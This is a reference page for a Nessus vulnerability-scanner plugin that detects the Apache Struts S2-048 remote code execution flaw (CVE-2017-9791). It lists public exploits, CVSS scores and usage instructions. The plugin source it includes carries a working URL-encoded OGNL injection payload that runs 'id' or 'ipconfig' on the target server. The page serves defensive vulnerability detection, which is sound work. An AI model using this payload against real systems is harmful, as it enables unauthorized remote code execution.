Apache Struts 2.3.x Struts 1 plugin RCE (remote) - Nessus

Critical   Plugin ID: 102918

This page contains detailed information about the Apache Struts 2.3.x Struts 1 plugin RCE (remote) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 102918
Name: Apache Struts 2.3.x Struts 1 plugin RCE (remote)
Filename: struts_2_3_x_rce.nasl
Vulnerability Published: 2017-07-10
This Plugin Published: 2017-09-01
Last Modification Time: 2022-04-11
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, webmirror.nasl

Vulnerability Information


Severity: Critical
Vulnerability Published: 2017-07-10
Patch Published: N/A
CVE [?]: CVE-2017-9791
CPE [?]: cpe:/a:apache:struts

Synopsis

The remote web server contains a web application that uses a Java framework which is affected by a remote code execution vulnerability.

Description

The Struts 1 plugin in Apache Struts 2.3.x is affected by a remote code execution vulnerability via a malicious field value passed in a raw message to the ActionMessage class.

Solution

Refer to the s2-048 vendor advisory for mitigation options

Public Exploits


Target Network Port(s): 80, 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Core Impact, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Apache Struts 2.3.x Struts 1 plugin RCE (remote) vulnerability:

  1. Metasploit: exploit/multi/http/struts2_code_exec_showcase
    [Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution]
  2. Exploit-DB: exploits/multiple/remote/44643.rb
    [EDB-44643: Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit)]
  3. Exploit-DB: exploits/multiple/webapps/42324.py
    [EDB-42324: Apache Struts 2.3.x Showcase - Remote Code Execution]
  4. GitHub: https://github.com/0day666/Vulnerability-verification
    [CVE-2017-9791]
  5. GitHub: https://github.com/Jean-Francois-C/Boot2root-CTFs-Writeups
    [CVE-2017-9791]
  6. GitHub: https://github.com/SecWiki/CMS-Hunter
    [CVE-2017-9791]
  7. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2017-9791]
  8. GitHub: https://github.com/atdpa4sw0rd/Experience-library
    [CVE-2017-9791]
  9. GitHub: https://github.com/binfed/cms-exp
    [CVE-2017-9791]
  10. GitHub: https://github.com/copperfieldd/CMS-Hunter
    [CVE-2017-9791]
  11. GitHub: https://github.com/djschleen/ash
    [CVE-2017-9791]
  12. GitHub: https://github.com/hktalent/myhktools
    [CVE-2017-9791]
  13. GitHub: https://github.com/jas502n/st2-048
    [CVE-2017-9791]
  14. GitHub: https://github.com/khodges42/Etrata
    [CVE-2017-9791]
  15. GitHub: https://github.com/nixawk/labs
    [CVE-2017-9791]
  16. GitHub: https://github.com/oneplus-x/MS17-010
    [CVE-2017-9791]
  17. GitHub: https://github.com/qazbnm456/awesome-cve-poc/blob/master/CVE-2017-9791.md
    [CVE-2017-9791]
  18. GitHub: https://github.com/shuanx/vulnerability
    [CVE-2017-9791]
  19. GitHub: https://github.com/tdcoming/Vulnerability-engine
    [CVE-2017-9791]
  20. GitHub: https://github.com/woods-sega/woodswiki
    [CVE-2017-9791]
  21. GitHub: https://github.com/dragoneeg/Struts2-048
    [CVE-2017-9791]
  22. GitHub: https://github.com/IanSmith123/s2-048
    [CVE-2017-9791: Apache struts struts 2 048, CVE-2017-9791.]
  23. GitHub: https://github.com/xfer0/CVE-2017-9791
    [CVE-2017-9791: Metasploit module for Apache Struts CVE-2017-9791 Remote Code Execution Vulnerability ...]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2017-9791
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.5 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.5 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.4 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.4 (Critical)

Go back to menu.

Plugin Source


This is the struts_2_3_x_rce.nasl nessus plugin source code. This script is Copyright (C) 2017-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(102918);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2017-9791");
  script_bugtraq_id(99484);
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/08/10");

  script_name(english:"Apache Struts 2.3.x Struts 1 plugin RCE (remote)");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework which is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Struts 1 plugin in Apache Struts 2.3.x is affected by a remote 
code execution vulnerability via a malicious field value passed in a 
raw message to the ActionMessage class.");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-048.html");
  script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-048");
  script_set_attribute(attribute:"solution", value:
"Refer to the s2-048 vendor advisory for mitigation options");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-9791");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Struts 1 Plugin ActionMessage < 2.3.32 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/07/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/09/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2017-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("http.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

vuln = FALSE;
urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);

unix_cmd = 'id';
win_cmd = 'ipconfig%20%2Fall';
data = "age=20&__checkbox_bustedBefore=true&name=%25%7B%28%23_%3D%27multipart%2Fform-data%27%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%27"+win_cmd+"%27%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27"+unix_cmd+"%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&description=1";


foreach url (urls)
{
  res = http_send_recv3(
    method       : "POST",
    item         : url,
    port         : port,
    data         : data,
    exit_on_fail : TRUE,
    content_type: "application/x-www-form-urlencoded"
  );

  if ("Windows IP" >< res[2] || "uid" >< res[2])
  {
    if (res[2] =~ "uid=[0-9]+.*gid=[0-9]+.*")
    {
      output = strstr(res[2], "uid");
      if (!empty_or_null(output))
      {
        vuln = TRUE;
        vuln_url = build_url(qs:url, port:port);
        break;
      }
    }
    else if (res[2] =~ "Subnet Mask|Windows IP|IP(v(4|6)?)? Address")
    {
      output = strstr(res[2], "Windows IP");
      if (!empty_or_null(output))
      {
        vuln = TRUE;
        vuln_url = build_url(qs:url, port:port);
        break;
      }
    }
  }
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(http_last_sent_request()),
  output     : chomp(output)
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/struts_2_3_x_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\struts_2_3_x_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/struts_2_3_x_rce.nasl

Go back to menu.

How to Run


Here is how to run the Apache Struts 2.3.x Struts 1 plugin RCE (remote) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Apache Struts 2.3.x Struts 1 plugin RCE (remote) plugin ID 102918.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl struts_2_3_x_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a struts_2_3_x_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - struts_2_3_x_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state struts_2_3_x_rce.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 103663 - Oracle WebLogic Server Multiple Vulnerabilities
  • 101361 - Apache Struts 2.3.x Showcase App Struts 1 Plugin ActionMessage Class Error Message Input Handling RCE (S2-048)
  • 66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
  • 66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
  • 68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
  • 70168 - Apache Struts 2 'action:' Parameter Prefix Security Constraint Bypass
  • 73203 - Apache Struts 2 'class' Parameter ClassLoader Manipulation
  • 119728 - Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution
  • 90152 - Apache Struts 2 Tag Attribute Double OGNL Evaluation RCE
  • 91811 - Apache Struts 2 REST Plugin OGNL Expression Handling RCE
  • 97610 - Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)
  • 102977 - Apache Struts 2 REST Plugin XStream XML Request Deserialization RCE
  • 112064 - Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)
  • 144365 - Apache Struts 2.x < 2.5.26 RCE (S2-061) (direct check)
  • 69240 - Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
  • 57691 - Apache Struts 2 Multiple Remote Code Execution and File Overwrite Vulnerabilities (safe check) (deprecated)
  • 57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
  • 47900 - Apache Struts 2 / XWork Remote Code Execution (safe check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file struts_2_3_x_rce.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

Go back to menu.